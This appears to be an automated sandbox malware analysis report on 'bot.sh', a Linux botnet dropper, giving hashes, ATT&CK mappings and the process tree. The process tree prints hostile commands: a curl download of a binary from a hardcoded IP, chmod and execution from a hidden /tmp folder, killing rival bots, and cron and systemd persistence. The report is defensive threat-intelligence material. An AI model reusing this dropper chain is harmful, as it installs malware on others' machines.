6c1aaef872faae9ec1c56d5230d2f9c17e4bee0d95545e2541f8f68ba1d5b9eb

Analysis

max time kernel
124s
max time network
126s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/07/2026, 00:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bot.sh
Size 22KB
Sample260708-alaeesht6r
SHA256 6c1aaef872faae9ec1c56d5230d2f9c17e4bee0d95545e2541f8f68ba1d5b9eb
MD5 61e068c8d08bc57e9f76efd0089111a6
SHA1 205f766f6a9cd5e90e6c39f72ede772441aa5178
SHA512 5a9ef93f694ceefe5d86249d94b375663d0646678b75ba62e221f288b386bc9d4d56d781a2b1f858310a789ca56c91273f4f696145018d06b7bc7442a13215b9
SSDEEP 192:JFu6cgIGhJAVZmfYM+HT0phWZBNhbIyuyzyeU4ZcZfv/YJS0q6NUeTn7kBVsJZrO:qJi+pYvf4JBq6OBeJJYLvSyLc6scp
TLSH
T1BEA244423940BAF03D4E8478566F90017612644F5E203C3D74DEA9246FA97ADB2FEBE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.systemd/bot	742	bot.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.PzaIgB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/bot.service	bot.sh

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/648/stat	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/110/cmdline	pkill
File opened for reading	/proc/285/cmdline	pkill
File opened for reading	/proc/633/status	pkill
File opened for reading	/proc/172/stat	killall
File opened for reading	/proc/593/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/285/stat	killall
File opened for reading	/proc/591/stat	killall
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/633/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/307/status	pkill
File opened for reading	/proc/591/stat	killall
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/321/cmdline	pkill
File opened for reading	/proc/145/status	pkill
File opened for reading	/proc/591/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/567/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/307/cmdline	pkill
File opened for reading	/proc/285/stat	killall
File opened for reading	/proc/675/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/635/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/596/status	pkill
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/140/stat	killall
File opened for reading	/proc/567/stat	killall
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/648/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/99/cmdline	pkill
File opened for reading	/proc/339/cmdline	pkill
File opened for reading	/proc/140/status	pkill
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/633/status	pkill

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.systemd/.write_test	touch
File opened for modification	/tmp/.systemd/bot.tmp	curl
File opened for modification	/tmp/bot_output.log	bot.sh
File opened for modification	/tmp/sh-thd.WHTQZD	bot.sh

/tmp/bot.sh
/tmp/bot.sh
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:646
- /bin/uname
  uname -m
  2⤵
  PID:651
- /bin/uname
  uname -s
  2⤵
  PID:656
- /bin/mkdir
  mkdir -p /tmp/.systemd
  2⤵
  PID:663
- /usr/bin/touch
  touch /tmp/.systemd/.write_test
  2⤵
  - Writes file to tmp directory
  PID:667
- /bin/rm
  rm -f /tmp/.systemd/.write_test
  2⤵
  PID:669
- /usr/bin/curl
  curl -L http://5.175.192.197/bot_armhf -o bot.tmp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /usr/bin/stat
  stat "-c%s" bot.tmp
  2⤵
  - Reads runtime system information
  PID:679
- /usr/bin/head
  head -c 200 bot.tmp
  2⤵
  PID:680
- /usr/bin/file
  file bot.tmp
  2⤵
  PID:681
- /bin/ls
  ls -la bot.tmp
  2⤵
  PID:682
- /usr/bin/file
  file bot.tmp
  2⤵
  PID:683
- /usr/bin/file
  file bot.tmp
  2⤵
  PID:684
- /bin/grep
  grep -q ELF
  2⤵
  PID:686
- /usr/sbin/getenforce
  getenforce
  2⤵
  PID:688
- /bin/chmod
  chmod +x bot.tmp
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /bin/ls
  ls -la bot.tmp
  2⤵
  PID:690
- /usr/bin/pkill
  pkill -9 -f bot_
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:691
- /usr/bin/pkill
  pkill -9 -f scanner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:692
- /usr/bin/killall
  killall -9 bot
  2⤵
  - Reads runtime system information
  PID:693
- /usr/bin/killall
  killall -9 bot_x86_64
  2⤵
  - Reads runtime system information
  PID:694
- /usr/bin/killall
  killall -9 bot_x86
  2⤵
  - Reads runtime system information
  PID:695
- /usr/bin/killall
  killall -9 bot_arm
  2⤵
  - Reads runtime system information
  PID:696
- /bin/sleep
  sleep 1
  2⤵
  PID:697
- /bin/mv
  mv -f bot.tmp bot
  2⤵
  PID:739
- /bin/sleep
  sleep 3
  2⤵
  PID:743
- /tmp/.systemd/bot
  ./bot
  2⤵
  PID:742
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:779
- /bin/grep
  grep -v bot
  2⤵
  PID:781
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:780
- /bin/cat
  cat
  2⤵
  PID:782
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:783
- /bin/systemctl
  systemctl enable bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot.tmp

Path /tmp/.systemd/bot.tmp
Size 707KB
SHA256 82950f57de0015f1353bdde0bd623d5db8198f93e912a2d43aa492ea62b60bcf
MD5 aa364699f8e47c89896c19312548dbfc
SHA1 c267ea18055c2cf0435d72200ca8502e34b31402
SHA512 c8b00918f7cd2cf69e319b28ebba2365e9ce5e576b2c2776fbbbbdf612fde7f37b7ed5401e232e4e9fd7571fc1284a0e2abd95df6b17433cf0b7e7d54b4fcfcd
SSDEEP 12288:DoMulGqgFljA2QYI2/gRhKlxj2wnmy8pcuCz+wafA46BGjbO7Hu:EMljA2O2Ivk+jA46B0bO7H
TLSH
T131F4BF67F2222D03C8E3963F295781B44363E65623968706B70BF5BC3ED623D9B16385
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh-thd.WHTQZD

Path /tmp/sh-thd.WHTQZD
Size 211B
SHA256 fef4caf2b72bc36ce18142b4bdf96a27eb77a35befa78fcb00e24a3710ea4c13
MD5 9b6a1c2b56b08de010de279395a5ab00
SHA1 30425f981b58227efe4959b16d0bc2f0924c2704
SHA512 bb3946be395b1fd195543f750bb72125034a23f166f45e698902e1450cc1b67bd2a6ab1ab4625b4dd1de170544952dc50b9dac2709315b9b92ed4bf62daf8ce3
TLSH
T1CED022277B7020BCC84F21A28EAA6F408E6461814ACEB2240FE04E30C8E18871720CFE
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.PzaIgB

Path /var/spool/cron/crontabs/tmp.PzaIgB
Size 228B
SHA256 ec7e152ff897a5d0ed1c934930da16077ed512a2e14a0ae6d8a129f50e8fa9e2
MD5 e87c9fb1f0d07eae02ef577ff6c81e1c
SHA1 c730104a71dc99fdeca62788ccfa7028bcb950f0
SHA512 0d9ad327260325c892db63544b75caba04e0368f33fb31c8c1985fffdc4b695be7a75fa51edf7d47a6ef61c91430173c97caafa2843f3bbe069bb78907ae6ba3
TLSH
T177D0231D7F102C303D4D1B8D621F415D5DE2B47ED05D6E51E0CD2434C21769C6B65D72
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads